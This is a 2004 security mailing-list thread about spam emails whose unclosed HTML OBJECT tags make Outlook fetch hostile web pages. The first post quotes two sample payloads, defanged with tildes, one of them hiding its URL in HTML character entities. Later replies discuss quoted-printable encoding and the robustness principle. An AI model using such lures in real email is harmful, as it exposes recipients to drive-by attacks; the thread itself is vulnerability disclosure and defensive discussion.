OBJECT Bugs or Features

[James C Slora Jr]

Two questions about the recent OBJECT tag assault in spam messages:

1. Should an email client process an OBJECT tag that has no corresponding
/OBJECT?
2. Should an email client process an OBJECT tag that is not even embedded
within HTML tags?

Apparently the current answer in Outlook is Yes. Two examples below leap to
the Web to download very hostile pages from fully patched fully updated
Outlook 2000. I have not tested in other versions, but the volume of the
incoming spam with these tags suggests other versions are vulnerable too.

I don't think this is new ground, but it is very much wild now.

~ inserted in key places to reduce "you sent me spam" notices.


From: "Yesenia Edwards" <YMNUDEWDQHFZWU@yahoo.com>
To: <blah@blah.blah>
Subject: the email from 2 days ago.. here is my replay..
Date: Mon, 07 Jun 2004 13:29:40 +0600
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="--6941203962437317574"

----6941203962437317574
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

~object
data=3D"http://www.seductiveones.~biz/easy/orrorr/sock/page.~php"~=20

----6941203962437317574--



Many other messages have Object tags that look like this:

~object =
data=3D"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#1 19;&#119;&#119;&#46;&#1=
19;&#105;&#108;&#100;&#119;&#105;&#110;&#99;&#97;& #115;&#105;&#110;&#111;=
&#46;&#110;&#101;&#116;&#47;&#112;&#97;&#103;&#101 ;&#46;&#112;&#104;&#112=
;"~

Note they mix "=" and "=3D" in addition to not closing the OBJECT tag. The
hostile site URL is often obfuscated through ASCII HTML encoding.

[Nick FitzGerald]

"James C Slora Jr" <Jim.Slora@phra.com> wrote:

> Two questions about the recent OBJECT tag assault in spam messages:
>
> 1. Should an email client process an OBJECT tag that has no corresponding
> /OBJECT?
> 2. Should an email client process an OBJECT tag that is not even embedded
> within HTML tags?

A more pertinent question to ask first is "What moron would ever design
an Email client that _could_ render 'active content', let alone
configure it to do so by default?". This would be closely followed by
"What morons would elect to use such a product, even if it is the pre-
installed default Email client in the most widely used OS?".

As the answers to these questions have been horribly clear for years,
we should move one though, but before we do, one final suggestion to
make XP SP2 _truly_ worthwhile -- it should uninstall IE and OE, then
randomly select and install other major third-party web browser and
Email client...

Anyway, to answer your specific questions...

It is generally considered "good practice" (as a result of the age-old
stupidity of "be lenient in what you accept", which is a purely anti-
quality and anti-standards position if there ever was one) to assume
that "end of file" represents termination of any paired HTML tags still
open, etc, etc. So, although an example such as that you provided is
not really "correct" (in that it is "incomplete") it would be expected
that a browser would at least attempt to do something with such code.

The answer to your second question is really an extension of the issue
just discussed. The headers of your example Email message quite
clearly claim the message is multipart/alternative and the first part
(with the "incomplete" OBJECT tag) is text/html. Thus, although the
body of that MIME component is not a properly formed, complete HTML
document, the MIME Content-Type: headers provide a fairly strong basis
for the MUA treating that message component as HTML and displaying it
accordingly. Thus, under the "we don't give half a knob of goat sh*t
for quality, predictability or stability" doctrine (aka "be lenient in
what you accept..."), a MUA treating the contents of such a message
component as if the missing "necessary" HTML tags and related
structures were present is "good practice".

<<snip>>
> Many other messages have Object tags that look like this:
>
> ~object =
> data=3D"&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#1 19;&#119;&#119;&#46;&#1=
> 19;&#105;&#108;&#100;&#119;&#105;&#110;&#99;&#97;& #115;&#105;&#110;&#111;=
> &#46;&#110;&#101;&#116;&#47;&#112;&#97;&#103;&#101 ;&#46;&#112;&#104;&#112=
> ;"~
>
> Note they mix "=" and "=3D" in addition to not closing the OBJECT tag. The
> hostile site URL is often obfuscated through ASCII HTML encoding.

Note that you have failed to decode the quoted-printable encoding and
once you do, that final comment makes no sense...

The single "=" at the end of the line means a forced line-wrap for
formatting reasons (i.e. simply remove the "=" char and the
(immediately) following line-break) and the "=3D" is the necessary QP-
encoding of the straight "=" chars in the original message stream
(which must be so encoded to avoid possible ambiguity with QP's special
use of "=" chars).

RFC 1521 etc...

....

Finally, to all those suddenly jumping up and down about this -- where
have you been the last few months? All this stuff has been happening
for months and months. Search your recent older months of spam for
messages with Subject: lines of "YOU WON A FREE VACATION!!!" and
similar (and with slightly different numbers of plings).


--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854

[Michael Wojcik]

> From: Nick FitzGerald [mailto:nick@virus-l.demon.co.uk]
> Sent: Wednesday, June 09, 2004 8:24 AM
>
> Especially in the case of RFC'ed protocols, because of the
> aforementioned "be lenient in what you accept" directive ... the
> historical standard has been "accept it and do your best", leasing to
> all manner of "compliant but utterly incompatible" shite being foisted
> on the world _AND_ boatloads of otherwise really easily avoided dire
> security vulnerabilities.

What Nick's referring to here is half of the "Robustness Principle",
presented by Jon Postel in RFC 793 (STD 7, Transmission Control Protocol):

TCP implementations will follow a general principle of robustness:
be conservative in what you do, be liberal in what you accept from
others. (2.10)

Unfortunately Postel did not qualify this rule beyond labelling it
"general", or indeed provide any discussion of it at all. (Ironically, it
immediately follows the brief discussion of TCP security in the RFC.) I
tend to agree with Nick that it has been applied over-broadly. Subsequent
RFCs, such as 1123 (Host Requirements), latched onto it eagerly and
uncritically (1123 presents it as applying "at every layer of the protocols"
(1.2.2)), even when - as in 1123 - they go on to tout it as a security
measure!

Of course, the Robustness Principle, suitably interpreted, can produce more
secure software. As the discussion in 1123 suggests, all software should be
written under the assumption that it can receive *any* input, and it should
react accordingly. The problem is more in determining what an appropriate
response should be. Too often the RP is understood by developers to
indicate that the best course is for the application to attempt to
compensate for deviations from the protocol and stagger on ahead with its
best guess as to the sender's (and user's) desires. This is not the route
to secure software.

One effect of this common misinterpretation is to site the RP as "be
conservative in what you produce, be liberal in what you accept".
Substituting "produce" for "do" in the "conservative" clause of Postel's
original formulation is a gross error - it restricts what aspects of the
implementation are constrained to be conservative, and suggests that care is
only necessary when considering the implementation's output, and not its
internal behavior.

We've had discussions of the RP in various forums before, of course. I
believe I made a point similar to Nick's in a posting to Vuln-Dev some time
ago, but the topic is still vital, as many developers take the RP (often in
its misquoted form) as gospel.

--
Michael Wojcik
Principal Software Systems Developer, Micro Focus

[Valdis.Kletnieks@vt.edu]

--==_Exmh_-1513093104P
Content-Type: text/plain; charset=us-ascii

On Mon, 07 Jun 2004 16:15:47 EDT, James C Slora Jr <Jim.Slora@phra.com> said:

> 2. Should an email client process an OBJECT tag that is not even embedded
> within HTML tags?

> Content-Type: text/html;
> Content-Transfer-Encoding: quoted-printable
>
> ~object
> data=3D"http://www.seductiveones.~biz/easy/orrorr/sock/page.~php"~=20

Well.. at least it's a text/html. Does it work if the Content-Type: is text/plain?

--==_Exmh_-1513093104P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Exmh version 2.5 07/13/2001

iD8DBQFAxP8IcC3lWbTT17ARAmuFAJ4rDHLOhZlS2x+mKdgPKA 0Tg1kIigCfS4jx
B2ihRG1+pw48IB3+DtWTDJE=
=uR1o
-----END PGP SIGNATURE-----

--==_Exmh_-1513093104P--

[Nick FitzGerald]

"http-equiv" to me:

> <!--
>
> The headers of your example Email message quite
> clearly claim the message is multipart/alternative and the first
> part (with the "incomplete" OBJECT tag) is text/html. Thus,
> although the body of that MIME component is not a properly
> formed, complete HTML document, the MIME Content-Type: headers
> provide a fairly strong basis for the MUA treating that message
> component as HTML and displaying it accordingly.
>
> -->
>
> and the Outlook Express unique ability to still do the
> impossible unpatched after three years:
<<snip amusing example>>

Sure, and I know "http-equiv" understands the following, but lest
anyone else missed it, I do not condoen the sloppy programming and
design attitude behind projects that produce such results.

To digress slightly from the straight and narrow or the original topic,
the RFCs in general (apologies in advance for the three that the
following does not apply to) and most other "standards" that today's
most widely used programs are designed to implement support for, are
very badly written _if_ the intention is that they should define some
kind of program specification. There are many, many common
shortcomings here, but in general, they pay _far too little_ (usually
scantly more than "no") attention to failure modes and the issue of
what "compliant" implementations should do when faced with non-
compliant input.

Especially in the case of RFC'ed protocols, because of the
aforementioned "be lenient in what you accept" directive (which is
generally _misconceived_ as applying to all RFCs when, in fact, it was
apparently only originally intended for the very lowest-level protocols
while they ironed out the wrinkles, rather than as general advice for
implementing the later, higher-level "application" protocols), the
historical standard has been "accept it and do your best", leasing to
all manner of "compliant but utterly incompatible" shite being foisted
on the world _AND_ boatloads of otherwise really easily avoided dire
security vulnerabilities.

Quality of (Internet) software will only really start to improve if the
designers and implementors start to question the ambiguous twists in
the "standards" _AND_ refuse to implement any support for the "so badly
worded as to be ambiguous or unclear" parts of such "standards". If
the "security initiative" at Microsoft is to achieve anything useful,
that could well be one of the major lessons. And, being the "800lb
Gorilla", MS is rather uniquely placed to actually make a change for
the better _across the whole industry_ if it tackles this (except,
perhaps, in the quagmire of cr*ppily implemented protocols that is SMTP
where several generations of sendmail madness holds a probably
unassailable tyranny of now incorrectibly bad practice -- no worries
though, as the only "solution" to spam (if we ever have such) will see
the now long overdue death of this protocol).

Of course, I'm not holding my breath until any of this actually
happens...


Regards,

Nick FitzGerald

[James C Slora Jr]

> Well.. at least it's a text/html. Does it work if the
> Content-Type: is text/plain?

No. Only in text/html. Guess it is a feature.

Why execution of the object data does not always get blocked in text/html
email is another matter though. More to come.